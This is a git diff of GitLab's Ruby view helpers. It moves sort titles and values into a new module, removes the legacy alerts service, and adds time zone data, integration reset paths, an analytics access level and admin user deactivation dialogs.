--- a/app/helpers/operations_helper.rb
+++ b/app/helpers/operations_helper.rb
@@ -9,24 +9,14 @@ module OperationsHelper
end
end
- def alerts_service
- strong_memoize(:alerts_service) do
- @project.find_or_initialize_service(::AlertsService.to_param)
- end
- end
-
def alerts_settings_data(disabled: false)
{
'prometheus_activated' => prometheus_service.manual_configuration?.to_s,
- 'activated' => alerts_service.activated?.to_s,
'prometheus_form_path' => scoped_integration_path(prometheus_service),
- 'form_path' => scoped_integration_path(alerts_service),
'prometheus_reset_key_path' => reset_alerting_token_project_settings_operations_path(@project),
'prometheus_authorization_key' => @project.alerting_setting&.token,
'prometheus_api_url' => prometheus_service.api_url,
- 'authorization_key' => alerts_service.token,
'prometheus_url' => notify_project_prometheus_alerts_url(@project, format: :json),
- 'url' => alerts_service.url,
'alerts_setup_url' => help_page_path('operations/incident_management/alert_integrations.md', anchor: 'generic-http-endpoint'),
'alerts_usage_url' => project_alert_management_index_path(@project),
'disabled' => disabled.to_s,
diff --git a/app/helpers/profiles_helper.rb b/app/helpers/profiles_helper.rb
index 04a3b915493..87187e97df4 100644
--- a/app/helpers/profiles_helper.rb
+++ b/app/helpers/profiles_helper.rb
@@ -37,10 +37,4 @@ module ProfilesHelper
def user_status_set_to_busy?(status)
status&.availability == availability_values[:busy]
end
-
- def show_status_emoji?(status)
- return false unless status
-
- status.message.present? || status.emoji != UserStatus::DEFAULT_EMOJI
- end
end
diff --git a/app/helpers/projects/alert_management_helper.rb b/app/helpers/projects/alert_management_helper.rb
index c6ad6bfac01..997551d9659 100644
--- a/app/helpers/projects/alert_management_helper.rb
+++ b/app/helpers/projects/alert_management_helper.rb
@@ -28,7 +28,7 @@ module Projects::AlertManagementHelper
def alert_management_enabled?(project)
!!(
- project.alerts_service_activated? ||
+ project.alert_management_alerts.any? ||
project.prometheus_service_active? ||
AlertManagement::HttpIntegrationsFinder.new(project, active: true).execute.any?
)
diff --git a/app/helpers/projects/terraform_helper.rb b/app/helpers/projects/terraform_helper.rb
index b286bc4d7a5..621d97ffb69 100644
--- a/app/helpers/projects/terraform_helper.rb
+++ b/app/helpers/projects/terraform_helper.rb
@@ -1,10 +1,11 @@
# frozen_string_literal: true
module Projects::TerraformHelper
- def js_terraform_list_data(project)
+ def js_terraform_list_data(current_user, project)
{
empty_state_image: image_path('illustrations/empty-state/empty-serverless-lg.svg'),
- project_path: project.full_path
+ project_path: project.full_path,
+ terraform_admin: current_user&.can?(:admin_terraform_state, project)
}
end
end
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index f25b229d198..80206654cd1 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -463,11 +463,12 @@ module ProjectsHelper
issues: :read_issue,
project_members: :read_project_member,
wiki: :read_wiki,
- feature_flags: :read_feature_flag
+ feature_flags: :read_feature_flag,
+ analytics: :read_analytics
}
end
- def can_view_operations_tab?(current_user, project)
+ def view_operations_tab_ability
[
:metrics_dashboard,
:read_alert_management_alert,
@@ -477,7 +478,13 @@ module ProjectsHelper
:read_cluster,
:read_feature_flag,
:read_terraform_state
- ].any? do |ability|
+ ]
+ end
+
+ def can_view_operations_tab?(current_user, project)
+ return false unless project.feature_available?(:operations, current_user)
+
+ view_operations_tab_ability.any? do |ability|
can?(current_user, ability, project)
end
end
@@ -606,6 +613,7 @@ module ProjectsHelper
def project_permissions_settings(project)
feature = project.project_feature
+
{
packagesEnabled: !!project.packages_enabled,
visibilityLevel: project.visibility_level,
@@ -618,11 +626,14 @@ module ProjectsHelper
wikiAccessLevel: feature.wiki_access_level,
snippetsAccessLevel: feature.snippets_access_level,
pagesAccessLevel: feature.pages_access_level,
+ analyticsAccessLevel: feature.analytics_access_level,
containerRegistryEnabled: !!project.container_registry_enabled,
lfsEnabled: !!project.lfs_enabled,
emailsDisabled: project.emails_disabled?,
metricsDashboardAccessLevel: feature.metrics_dashboard_access_level,
- showDefaultAwardEmojis: project.show_default_award_emojis?
+ operationsAccessLevel: feature.operations_access_level,
+ showDefaultAwardEmojis: project.show_default_award_emojis?,
+ allowEditingCommitMessages: project.allow_editing_commit_messages?
}
end
diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb
index de1e0e4e05e..bdc86043ddc 100644
--- a/app/helpers/search_helper.rb
+++ b/app/helpers/search_helper.rb
@@ -31,7 +31,7 @@ module SearchHelper
[
resources_results,
generic_results
- ].flatten.uniq do |item|
+ ].flatten do |item|
item[:label]
end
end
@@ -370,7 +370,7 @@ module SearchHelper
def highlight_and_truncate_issuable(issuable, search_term, _search_highlight)
return unless issuable.description.present?
- simple_search_highlight_and_truncate(issuable.description, search_term, highlighter: '<span class="gl-text-black-normal gl-font-weight-bold">\1</span>')
+ simple_search_highlight_and_truncate(issuable.description, search_term, highlighter: '<span class="gl-text-gray-900 gl-font-weight-bold">\1</span>')
end
def show_user_search_tab?
diff --git a/app/helpers/services_helper.rb b/app/helpers/services_helper.rb
index 96eb14be4b4..3516000e296 100644
--- a/app/helpers/services_helper.rb
+++ b/app/helpers/services_helper.rb
@@ -75,7 +75,15 @@ module ServicesHelper
end
end
- def integration_form_data(integration)
+ def scoped_reset_integration_path(integration, group: nil)
+ if group.present?
+ reset_group_settings_integration_path(group, integration)
+ else
+ reset_admin_application_settings_integration_path(integration)
+ end
+ end
+
+ def integration_form_data(integration, group: nil)
{
id: integration.id,
show_active: integration.show_active_box?.to_s,
@@ -94,7 +102,7 @@ module ServicesHelper
cancel_path: scoped_integrations_path,
can_test: integration.can_test?.to_s,
test_path: scoped_test_integration_path(integration),
- reset_path: ''
+ reset_path: reset_integration?(integration, group: group) ? scoped_reset_integration_path(integration, group: group) : ''
}
end
@@ -114,14 +122,14 @@ module ServicesHelper
false
end
- def group_level_integrations?
- @group.present? && Feature.enabled?(:group_level_integrations, @group, default_enabled: true)
- end
-
def instance_level_integrations?
!Gitlab.com?
end
+ def reset_integration?(integration, group: nil)
+ integration.persisted? && Feature.enabled?(:reset_integrations, group, type: :development)
+ end
+
extend self
private
diff --git a/app/helpers/sorting_helper.rb b/app/helpers/sorting_helper.rb
index 10174e5d719..38758957dba 100644
--- a/app/helpers/sorting_helper.rb
+++ b/app/helpers/sorting_helper.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
module SortingHelper
+ include SortingTitlesValuesHelper
+
def sort_options_hash
{
sort_value_created_date => sort_title_created_date,
@@ -40,6 +42,7 @@ module SortingHelper
sort_value_latest_activity => sort_title_latest_activity,
sort_value_recently_created => sort_title_created_date,
sort_value_name => sort_title_name,
+ sort_value_name_desc => sort_title_name_desc,
sort_value_stars_desc => sort_title_stars
}
@@ -95,8 +98,8 @@ module SortingHelper
sort_value_name_desc => sort_title_name_desc,
sort_value_recently_created => sort_title_recently_created,
sort_value_oldest_created => sort_title_oldest_created,
- sort_value_recently_updated => sort_title_recently_updated,
- sort_value_oldest_updated => sort_title_oldest_updated
+ sort_value_latest_activity => sort_title_recently_updated,
+ sort_value_oldest_activity => sort_title_oldest_updated
}
end
@@ -112,19 +115,6 @@ module SortingHelper
)
end
- def member_sort_options_hash
- {
- sort_value_access_level_asc => sort_title_access_level_asc,
- sort_value_access_level_desc => sort_title_access_level_desc,
- sort_value_last_joined => sort_title_last_joined,
- sort_value_name => sort_title_name_asc,
- sort_value_name_desc => sort_title_name_desc,
- sort_value_oldest_joined => sort_title_oldest_joined,
- sort_value_oldest_signin => sort_title_oldest_signin,
- sort_value_recently_signin => sort_title_recently_signin
- }
- end
-
def milestone_sort_options_hash
{
sort_value_name => sort_title_name_asc,
@@ -186,6 +176,19 @@ module SortingHelper
}
end
+ def member_sort_options_hash
+ {
+ sort_value_access_level_asc => sort_title_access_level_asc,
+ sort_value_access_level_desc => sort_title_access_level_desc,
+ sort_value_last_joined => sort_title_last_joined,
+ sort_value_name => sort_title_name_asc,
+ sort_value_name_desc => sort_title_name_desc,
+ sort_value_oldest_joined => sort_title_oldest_joined,
+ sort_value_oldest_signin => sort_title_oldest_signin,
+ sort_value_recently_signin => sort_title_recently_signin
+ }
+ end
+
def sortable_item(item, path, sorted_by)
link_to item, path, class: sorted_by == item ? 'is-active' : ''
end
@@ -275,340 +278,6 @@ module SortingHelper
sort_direction_button(url, reverse_sort, sort_value)
end
- # Titles.
- def sort_title_access_level_asc
- s_('SortOptions|Access level, ascending')
- end
-
- def sort_title_access_level_desc
- s_('SortOptions|Access level, descending')
- end
-
- def sort_title_created_date
- s_('SortOptions|Created date')
- end
-
- def sort_title_downvotes
- s_('SortOptions|Least popular')
- end
-
- def sort_title_due_date
- s_('SortOptions|Due date')
- end
-
- def sort_title_due_date_later
- s_('SortOptions|Due later')
- end
-
- def sort_title_due_date_soon
- s_('SortOptions|Due soon')
- end
-
- def sort_title_label_priority
- s_('SortOptions|Label priority')
- end
-
- def sort_title_largest_group
- s_('SortOptions|Largest group')
- end
-
- def sort_title_largest_repo
- s_('SortOptions|Largest repository')
- end
-
- def sort_title_last_joined
- s_('SortOptions|Last joined')
- end
-
- def sort_title_latest_activity
- s_('SortOptions|Last updated')
- end
-
- def sort_title_milestone
- s_('SortOptions|Milestone due date')
- end
-
- def sort_title_milestone_later
- s_('SortOptions|Milestone due later')
- end
-
- def sort_title_milestone_soon
- s_('SortOptions|Milestone due soon')
- end
-
- def sort_title_name
- s_('SortOptions|Name')
- end
-
- def sort_title_name_asc
- s_('SortOptions|Name, ascending')
- end
-
- def sort_title_name_desc
- s_('SortOptions|Name, descending')
- end
-
- def sort_title_oldest_activity
- s_('SortOptions|Oldest updated')
- end
-
- def sort_title_oldest_created
- s_('SortOptions|Oldest created')
- end
-
- def sort_title_oldest_joined
- s_('SortOptions|Oldest joined')
- end
-
- def sort_title_oldest_signin
- s_('SortOptions|Oldest sign in')
- end
-
- def sort_title_oldest_starred
- s_('SortOptions|Oldest starred')
- end
-
- def sort_title_oldest_updated
- s_('SortOptions|Oldest updated')
- end
-
- def sort_title_popularity
- s_('SortOptions|Popularity')
- end
-
- def sort_title_priority
- s_('SortOptions|Priority')
- end
-
- def sort_title_recently_created
- s_('SortOptions|Last created')
- end
-
- def sort_title_recently_signin
- s_('SortOptions|Recent sign in')
- end
-
- def sort_title_recently_starred
- s_('SortOptions|Recently starred')
- end
-
- def sort_title_recently_updated
- s_('SortOptions|Last updated')
- end
-
- def sort_title_start_date_later
- s_('SortOptions|Start later')
- end
-
- def sort_title_start_date_soon
- s_('SortOptions|Start soon')
- end
-
- def sort_title_upvotes
- s_('SortOptions|Most popular')
- end
-
- def sort_title_contacted_date
- s_('SortOptions|Last Contact')
- end
-
- def sort_title_most_stars
- s_('SortOptions|Most stars')
- end
-
- def sort_title_stars
- s_('SortOptions|Stars')
- end
-
- def sort_title_oldest_last_activity
- s_('SortOptions|Oldest last activity')
- end
-
- def sort_title_recently_last_activity
- s_('SortOptions|Recent last activity')
- end
-
- def sort_title_relative_position
- s_('SortOptions|Manual')
- end
-
- def sort_title_size
- s_('SortOptions|Size')
- end
-
- def sort_title_expire_date
- s_('SortOptions|Expired date')
- end
-
- def sort_title_relevant
- s_('SortOptions|Relevant')
- end
-
- # Values.
- def sort_value_access_level_asc
- 'access_level_asc'
- end
-
- def sort_value_access_level_desc
- 'access_level_desc'
- end
-
- def sort_value_created_date
- 'created_date'
- end
-
- def sort_value_downvotes
- 'downvotes_desc'
- end
-
- def sort_value_due_date
- 'due_date'
- end
-
- def sort_value_due_date_later
- 'due_date_desc'
- end
-
- def sort_value_due_date_soon
- 'due_date_asc'
- end
-
- def sort_value_label_priority
- 'label_priority'
- end
-
- def sort_value_largest_group
- 'storage_size_desc'
- end
-
- def sort_value_largest_repo
- 'storage_size_desc'
- end
-
- def sort_value_last_joined
- 'last_joined'
- end
-
- def sort_value_latest_activity
- 'latest_activity_desc'
- end
-
- def sort_value_milestone
- 'milestone'
- end
-
- def sort_value_milestone_later
- 'milestone_due_desc'
- end
-
- def sort_value_milestone_soon
- 'milestone_due_asc'
- end
-
- def sort_value_name
- 'name_asc'
- end
-
- def sort_value_name_desc
- 'name_desc'
- end
-
- def sort_value_oldest_activity
- 'latest_activity_asc'
- end
-
- def sort_value_oldest_created
- 'created_asc'
- end
-
- def sort_value_oldest_signin
- 'oldest_sign_in'
- end
-
- def sort_value_oldest_joined
- 'oldest_joined'
- end
-
- def sort_value_oldest_updated
- 'updated_asc'
- end
-
- def sort_value_popularity
- 'popularity'
- end
-
- def sort_value_most_popular
- 'popularity_desc'
- end
-
- def sort_value_least_popular
- 'popularity_asc'
- end
-
- def sort_value_priority
- 'priority'
- end
-
- def sort_value_recently_created
- 'created_desc'
- end
-
- def sort_value_recently_signin
- 'recent_sign_in'
- end
-
- def sort_value_recently_updated
- 'updated_desc'
- end
-
- def sort_value_start_date_later
- 'start_date_desc'
- end
-
- def sort_value_start_date_soon
- 'start_date_asc'
- end
-
- def sort_value_upvotes
- 'upvotes_desc'
- end
-
- def sort_value_contacted_date
- 'contacted_asc'
- end
-
- def sort_value_stars_desc
- 'stars_desc'
- end
-
- def sort_value_stars_asc
- 'stars_asc'
- end
-
- def sort_value_oldest_last_activity
- 'last_activity_on_asc'
- end
-
- def sort_value_recently_last_activity
- 'last_activity_on_desc'
- end
-
- def sort_value_relative_position
- 'relative_position'
- end
-
- def sort_value_size
- 'size_desc'
- end
-
- def sort_value_expire_date
- 'expired_asc'
- end
-
- def sort_value_relevant
- 'relevant'
- end
-
def packages_sort_options_hash
{
sort_value_recently_created => sort_title_created_date,
diff --git a/app/helpers/sorting_titles_values_helper.rb b/app/helpers/sorting_titles_values_helper.rb
new file mode 100644
index 00000000000..27f3638dc73
--- /dev/null
+++ b/app/helpers/sorting_titles_values_helper.rb
@@ -0,0 +1,339 @@
+# frozen_string_literal: true
+
+module SortingTitlesValuesHelper
+ # Titles.
+ def sort_title_access_level_asc
+ s_('SortOptions|Access level, ascending')
+ end
+
+ def sort_title_access_level_desc
+ s_('SortOptions|Access level, descending')
+ end
+
+ def sort_title_created_date
+ s_('SortOptions|Created date')
+ end
+
+ def sort_title_downvotes
+ s_('SortOptions|Least popular')
+ end
+
+ def sort_title_due_date
+ s_('SortOptions|Due date')
+ end
+
+ def sort_title_due_date_later
+ s_('SortOptions|Due later')
+ end
+
+ def sort_title_due_date_soon
+ s_('SortOptions|Due soon')
+ end
+
+ def sort_title_label_priority
+ s_('SortOptions|Label priority')
+ end
+
+ def sort_title_largest_group
+ s_('SortOptions|Largest group')
+ end
+
+ def sort_title_largest_repo
+ s_('SortOptions|Largest repository')
+ end
+
+ def sort_title_last_joined
+ s_('SortOptions|Last joined')
+ end
+
+ def sort_title_latest_activity
+ s_('SortOptions|Last updated')
+ end
+
+ def sort_title_milestone
+ s_('SortOptions|Milestone due date')
+ end
+
+ def sort_title_milestone_later
+ s_('SortOptions|Milestone due later')
+ end
+
+ def sort_title_milestone_soon
+ s_('SortOptions|Milestone due soon')
+ end
+
+ def sort_title_name
+ s_('SortOptions|Name')
+ end
+
+ def sort_title_name_asc
+ s_('SortOptions|Name, ascending')
+ end
+
+ def sort_title_name_desc
+ s_('SortOptions|Name, descending')
+ end
+
+ def sort_title_oldest_activity
+ s_('SortOptions|Oldest updated')
+ end
+
+ def sort_title_oldest_created
+ s_('SortOptions|Oldest created')
+ end
+
+ def sort_title_oldest_joined
+ s_('SortOptions|Oldest joined')
+ end
+
+ def sort_title_oldest_signin
+ s_('SortOptions|Oldest sign in')
+ end
+
+ def sort_title_oldest_starred
+ s_('SortOptions|Oldest starred')
+ end
+
+ def sort_title_oldest_updated
+ s_('SortOptions|Oldest updated')
+ end
+
+ def sort_title_popularity
+ s_('SortOptions|Popularity')
+ end
+
+ def sort_title_priority
+ s_('SortOptions|Priority')
+ end
+
+ def sort_title_recently_created
+ s_('SortOptions|Last created')
+ end
+
+ def sort_title_recently_signin
+ s_('SortOptions|Recent sign in')
+ end
+
+ def sort_title_recently_starred
+ s_('SortOptions|Recently starred')
+ end
+
+ def sort_title_recently_updated
+ s_('SortOptions|Last updated')
+ end
+
+ def sort_title_start_date_later
+ s_('SortOptions|Start later')
+ end
+
+ def sort_title_start_date_soon
+ s_('SortOptions|Start soon')
+ end
+
+ def sort_title_upvotes
+ s_('SortOptions|Most popular')
+ end
+
+ def sort_title_contacted_date
+ s_('SortOptions|Last Contact')
+ end
+
+ def sort_title_most_stars
+ s_('SortOptions|Most stars')
+ end
+
+ def sort_title_stars
+ s_('SortOptions|Stars')
+ end
+
+ def sort_title_oldest_last_activity
+ s_('SortOptions|Oldest last activity')
+ end
+
+ def sort_title_recently_last_activity
+ s_('SortOptions|Recent last activity')
+ end
+
+ def sort_title_relative_position
+ s_('SortOptions|Manual')
+ end
+
+ def sort_title_size
+ s_('SortOptions|Size')
+ end
+
+ def sort_title_expire_date
+ s_('SortOptions|Expired date')
+ end
+
+ def sort_title_relevant
+ s_('SortOptions|Relevant')
+ end
+
+ # Values.
+ def sort_value_access_level_asc
+ 'access_level_asc'
+ end
+
+ def sort_value_access_level_desc
+ 'access_level_desc'
+ end
+
+ def sort_value_created_date
+ 'created_date'
+ end
+
+ def sort_value_downvotes
+ 'downvotes_desc'
+ end
+
+ def sort_value_due_date
+ 'due_date'
+ end
+
+ def sort_value_due_date_later
+ 'due_date_desc'
+ end
+
+ def sort_value_due_date_soon
+ 'due_date_asc'
+ end
+
+ def sort_value_label_priority
+ 'label_priority'
+ end
+
+ def sort_value_largest_group
+ 'storage_size_desc'
+ end
+
+ def sort_value_largest_repo
+ 'storage_size_desc'
+ end
+
+ def sort_value_last_joined
+ 'last_joined'
+ end
+
+ def sort_value_latest_activity
+ 'latest_activity_desc'
+ end
+
+ def sort_value_milestone
+ 'milestone'
+ end
+
+ def sort_value_milestone_later
+ 'milestone_due_desc'
+ end
+
+ def sort_value_milestone_soon
+ 'milestone_due_asc'
+ end
+
+ def sort_value_name
+ 'name_asc'
+ end
+
+ def sort_value_name_desc
+ 'name_desc'
+ end
+
+ def sort_value_oldest_activity
+ 'latest_activity_asc'
+ end
+
+ def sort_value_oldest_created
+ 'created_asc'
+ end
+
+ def sort_value_oldest_signin
+ 'oldest_sign_in'
+ end
+
+ def sort_value_oldest_joined
+ 'oldest_joined'
+ end
+
+ def sort_value_oldest_updated
+ 'updated_asc'
+ end
+
+ def sort_value_popularity
+ 'popularity'
+ end
+
+ def sort_value_most_popular
+ 'popularity_desc'
+ end
+
+ def sort_value_least_popular
+ 'popularity_asc'
+ end
+
+ def sort_value_priority
+ 'priority'
+ end
+
+ def sort_value_recently_created
+ 'created_desc'
+ end
+
+ def sort_value_recently_signin
+ 'recent_sign_in'
+ end
+
+ def sort_value_recently_updated
+ 'updated_desc'
+ end
+
+ def sort_value_start_date_later
+ 'start_date_desc'
+ end
+
+ def sort_value_start_date_soon
+ 'start_date_asc'
+ end
+
+ def sort_value_upvotes
+ 'upvotes_desc'
+ end
+
+ def sort_value_contacted_date
+ 'contacted_asc'
+ end
+
+ def sort_value_stars_desc
+ 'stars_desc'
+ end
+
+ def sort_value_stars_asc
+ 'stars_asc'
+ end
+
+ def sort_value_oldest_last_activity
+ 'last_activity_on_asc'
+ end
+
+ def sort_value_recently_last_activity
+ 'last_activity_on_desc'
+ end
+
+ def sort_value_relative_position
+ 'relative_position'
+ end
+
+ def sort_value_size
+ 'size_desc'
+ end
+
+ def sort_value_expire_date
+ 'expired_asc'
+ end
+
+ def sort_value_relevant
+ 'relevant'
+ end
+end
+
+SortingHelper.include_if_ee('::EE::SortingTitlesValuesHelper')
diff --git a/app/helpers/storage_helper.rb b/app/helpers/storage_helper.rb
index 13bf9c92d52..d6a4d6ac57a 100644
--- a/app/helpers/storage_helper.rb
+++ b/app/helpers/storage_helper.rb
@@ -15,9 +15,11 @@ module StorageHelper
counter_wikis: storage_counter(statistics.wiki_size),
counter_build_artifacts: storage_counter(statistics.build_artifacts_size),
counter_lfs_objects: storage_counter(statistics.lfs_objects_size),
- counter_snippets: storage_counter(statistics.snippets_size)
+ counter_snippets: storage_counter(statistics.snippets_size),
+ counter_packages: storage_counter(statistics.packages_size),
+ counter_uploads: storage_counter(statistics.uploads_size)
}
- _("Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}") % counters
+ _("Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}") % counters
end
end
diff --git a/app/helpers/suggest_pipeline_helper.rb b/app/helpers/suggest_pipeline_helper.rb
index 3151b792344..f0a12f0e268 100644
--- a/app/helpers/suggest_pipeline_helper.rb
+++ b/app/helpers/suggest_pipeline_helper.rb
@@ -2,8 +2,6 @@
module SuggestPipelineHelper
def should_suggest_gitlab_ci_yml?
- Feature.enabled?(:suggest_pipeline, default_enabled: true) &&
- current_user &&
- params[:suggest_gitlab_ci_yml] == 'true'
+ current_user && params[:suggest_gitlab_ci_yml] == 'true'
end
end
diff --git a/app/helpers/system_note_helper.rb b/app/helpers/system_note_helper.rb
index 79f4810e13a..85e644967ea 100644
--- a/app/helpers/system_note_helper.rb
+++ b/app/helpers/system_note_helper.rb
@@ -38,7 +38,8 @@ module SystemNoteHelper
'status' => 'status',
'alert_issue_added' => 'issues',
'new_alert_added' => 'warning',
- 'severity' => 'information-o'
+ 'severity' => 'information-o',
+ 'cloned' => 'documents'
}.freeze
def system_note_icon_name(note)
diff --git a/app/helpers/time_zone_helper.rb b/app/helpers/time_zone_helper.rb
new file mode 100644
index 00000000000..00f65b72c8e
--- /dev/null
+++ b/app/helpers/time_zone_helper.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module TimeZoneHelper
+ TIME_ZONE_FORMAT_ATTRS = {
+ short: %i[identifier name offset],
+ full: %i[identifier name abbr offset formatted_offset]
+ }.freeze
+ private_constant :TIME_ZONE_FORMAT_ATTRS
+
+ # format:
+ # * :full - all available fields
+ # * :short (default)
+ #
+ # Example:
+ # timezone_data # :short by default
+ # timezone_data(format: :full)
+ #
+ def timezone_data(format: :short)
+ attrs = TIME_ZONE_FORMAT_ATTRS.fetch(format) do
+ valid_formats = TIME_ZONE_FORMAT_ATTRS.keys.map { |k| ":#{k}"}.join(", ")
+ raise ArgumentError.new("Invalid format :#{format}. Valid formats are #{valid_formats}.")
+ end
+
+ ActiveSupport::TimeZone.all.map do |timezone|
+ {
+ identifier: timezone.tzinfo.identifier,
+ name: timezone.name,
+ abbr: timezone.tzinfo.strftime('%Z'),
+ offset: timezone.now.utc_offset,
+ formatted_offset: timezone.now.formatted_offset
+ }.slice(*attrs)
+ end
+ end
+end
diff --git a/app/helpers/tree_helper.rb b/app/helpers/tree_helper.rb
index 692971f4627..f24aa5d3bcb 100644
--- a/app/helpers/tree_helper.rb
+++ b/app/helpers/tree_helper.rb
@@ -228,12 +228,12 @@ module TreeHelper
gitpod_enabled: !current_user.nil? && current_user.gitpod_enabled,
is_blob: !options[:blob].nil?,
- show_edit_button: show_edit_button?,
+ show_edit_button: show_edit_button?(options),
show_web_ide_button: show_web_ide_button?,
show_gitpod_button: show_gitpod_button?,
web_ide_url: web_ide_url,
- edit_url: edit_url,
+ edit_url: edit_url(options),
gitpod_url: gitpod_url
}
end
diff --git a/app/helpers/user_callouts_helper.rb b/app/helpers/user_callouts_helper.rb
index e93c1b82cd7..a06a31ddf32 100644
--- a/app/helpers/user_callouts_helper.rb
+++ b/app/helpers/user_callouts_helper.rb
@@ -57,7 +57,10 @@ module UserCalloutsHelper
end
def show_registration_enabled_user_callout?
- current_user&.admin? && signup_enabled? && !user_dismissed?(REGISTRATION_ENABLED_CALLOUT)
+ !Gitlab.com? &&
+ current_user&.admin? &&
+ signup_enabled? &&
+ !user_dismissed?(REGISTRATION_ENABLED_CALLOUT)
end
private
diff --git a/app/helpers/users_helper.rb b/app/helpers/users_helper.rb
index 7d4ab192f2f..a58f8a6f792 100644
--- a/app/helpers/users_helper.rb
+++ b/app/helpers/users_helper.rb
@@ -1,6 +1,13 @@
# frozen_string_literal: true
module UsersHelper
+ def admin_users_data_attributes(users)
+ {
+ users: Admin::UserSerializer.new.represent(users).to_json,
+ paths: admin_users_paths.to_json
+ }
+ end
+
def user_link(user)
link_to(user.name, user_path(user),
title: user.email,
@@ -60,6 +67,12 @@ module UsersHelper
"access:#{max_project_member_access(project)}"
end
+ def show_status_emoji?(status)
+ return false unless status
+
+ status.message.present? || status.emoji != UserStatus::DEFAULT_EMOJI
+ end
+
def user_status(user)
return unless user
@@ -123,6 +136,19 @@ module UsersHelper
}
end
+ def user_unblock_data(user)
+ {
+ path: unblock_admin_user_path(user),
+ method: 'put',
+ modal_attributes: {
+ title: s_('AdminUsers|Unblock user %{username}?') % { username: sanitize_name(user.name) },
+ message: s_('AdminUsers|You can always block their account again if needed.'),
+ okVariant: 'info',
+ okTitle: s_('AdminUsers|Unblock')
+ }.to_json
+ }
+ end
+
def user_block_effects
header = tag.p s_('AdminUsers|Blocking user has the following effects:')
@@ -136,8 +162,75 @@ module UsersHelper
header + list
end
+ def user_deactivation_data(user, message)
+ {
+ path: deactivate_admin_user_path(user),
+ method: 'put',
+ modal_attributes: {
+ title: s_('AdminUsers|Deactivate user %{username}?') % { username: sanitize_name(user.name) },
+ messageHtml: message,
+ okVariant: 'warning',
+ okTitle: s_('AdminUsers|Deactivate')
+ }.to_json
+ }
+ end
+
+ def user_activation_data(user)
+ {
+ path: activate_admin_user_path(user),
+ method: 'put',
+ modal_attributes: {
+ title: s_('AdminUsers|Activate user %{username}?') % { username: sanitize_name(user.name) },
+ message: s_('AdminUsers|You can always deactivate their account again if needed.'),
+ okVariant: 'info',
+ okTitle: s_('AdminUsers|Activate')
+ }.to_json
+ }
+ end
+
+ def user_deactivation_effects
+ header = tag.p s_('AdminUsers|Deactivating a user has the following effects:')
+
+ list = tag.ul do
+ concat tag.li s_('AdminUsers|The user will be logged out')
+ concat tag.li s_('AdminUsers|The user will not be able to access git repositories')
+ concat tag.li s_('AdminUsers|The user will not be able to access the API')
+ concat tag.li s_('AdminUsers|The user will not receive any notifications')
+ concat tag.li s_('AdminUsers|The user will not be able to use slash commands')
+ concat tag.li s_('AdminUsers|When the user logs back in, their account will reactivate as a fully active account')
+ concat tag.li s_('AdminUsers|Personal projects, group and user history will be left intact')
+ end
+
+ header + list
+ end
+
+ def user_display_name(user)
+ return s_('UserProfile|Blocked user') if user.blocked?
+
+ can_read_profile = can?(current_user, :read_user_profile, user)
+ return s_('UserProfile|Unconfirmed user') unless user.confirmed? || can_read_profile
+
+ user.name
+ end
+
private
+ def admin_users_paths
+ {
+ edit: edit_admin_user_path(:id),
+ approve: approve_admin_user_path(:id),
+ reject: reject_admin_user_path(:id),
+ unblock: unblock_admin_user_path(:id),
+ block: block_admin_user_path(:id),
+ deactivate: deactivate_admin_user_path(:id),
+ activate: activate_admin_user_path(:id),
+ unlock: unlock_admin_user_path(:id),
+ delete: admin_user_path(:id),
+ delete_with_contributions: admin_user_path(:id),
+ admin_user: admin_user_path(:id)
+ }
+ end
+
def blocked_user_badge(user)
pending_approval_badge = { text: s_('AdminUsers|Pending approval'), variant: 'info' }
return pending_approval_badge if user.blocked_pending_approval?
diff --git a/app/helpers/visibility_level_helper.rb b/app/helpers/visibility_level_helper.rb
index 896dcdd2caf..0a37257e124 100644
--- a/app/helpers/visibility_level_helper.rb
+++ b/app/helpers/visibility_level_helper.rb
@@ -157,6 +157,16 @@ module VisibilityLevelHelper
end
end
+ def visibility_level_options(form_model)
+ available_visibility_levels(form_model).map do |level|
+ {
+ level: level,
+ label: visibility_level_label(level),
+ description: visibility_level_description(level, form_model)
+ }
+ end
+ end
+
def snippets_selected_visibility_level(visibility_levels, selected)
visibility_levels.find { |level| level == selected } || visibility_levels.min
end
diff --git a/app/helpers/web_ide_button_helper.rb b/app/helpers/web_ide_button_helper.rb
index 0a4d47eed52..7aa0adc31bd 100644
--- a/app/helpers/web_ide_button_helper.rb
+++ b/app/helpers/web_ide_button_helper.rb
@@ -21,8 +21,8 @@ module WebIdeButtonHelper
can_collaborate? || can_create_mr_from_fork?
end
- def show_edit_button?
- readable_blob? && show_web_ide_button?
+ def show_edit_button?(options = {})
+ readable_blob?(options) && show_web_ide_button?
end
def show_gitpod_button?
@@ -37,8 +37,8 @@ module WebIdeButtonHelper
!project_fork.nil? && !can_push_code?
end
- def readable_blob?
- !readable_blob({}, @path, @project, @ref).nil?
+ def readable_blob?(options = {})
+ !readable_blob(options, @path, @project, @ref).nil?
end
def needs_to_fork?
@@ -49,8 +49,8 @@ module WebIdeButtonHelper
ide_edit_path(project_to_use, @ref, @path || '')
end
- def edit_url
- readable_blob? ? edit_blob_path(@project, @ref, @path || '') : ''
+ def edit_url(options = {})
+ readable_blob?(options) ? edit_blob_path(@project, @ref, @path || '') : ''
end
def gitpod_url
diff --git a/app/helpers/whats_new_helper.rb b/app/helpers/whats_new_helper.rb
index 283d443f51b..bbf5bde5904 100644
--- a/app/helpers/whats_new_helper.rb
+++ b/app/helpers/whats_new_helper.rb
@@ -1,25 +1,19 @@
# frozen_string_literal: true
module WhatsNewHelper
- include Gitlab::WhatsNew
-
def whats_new_most_recent_release_items_count
- Gitlab::ProcessMemoryCache.cache_backend.fetch('whats_new:release_items_count', expires_in: CACHE_DURATION) do
- whats_new_release_items&.count
- end
+ ReleaseHighlight.most_recent_item_count
end
def whats_new_storage_key
- return unless whats_new_most_recent_version
+ most_recent_version = ReleaseHighlight.versions&.first
- ['display-whats-new-notification', whats_new_most_recent_version].join('-')
- end
+ return unless most_recent_version
- private
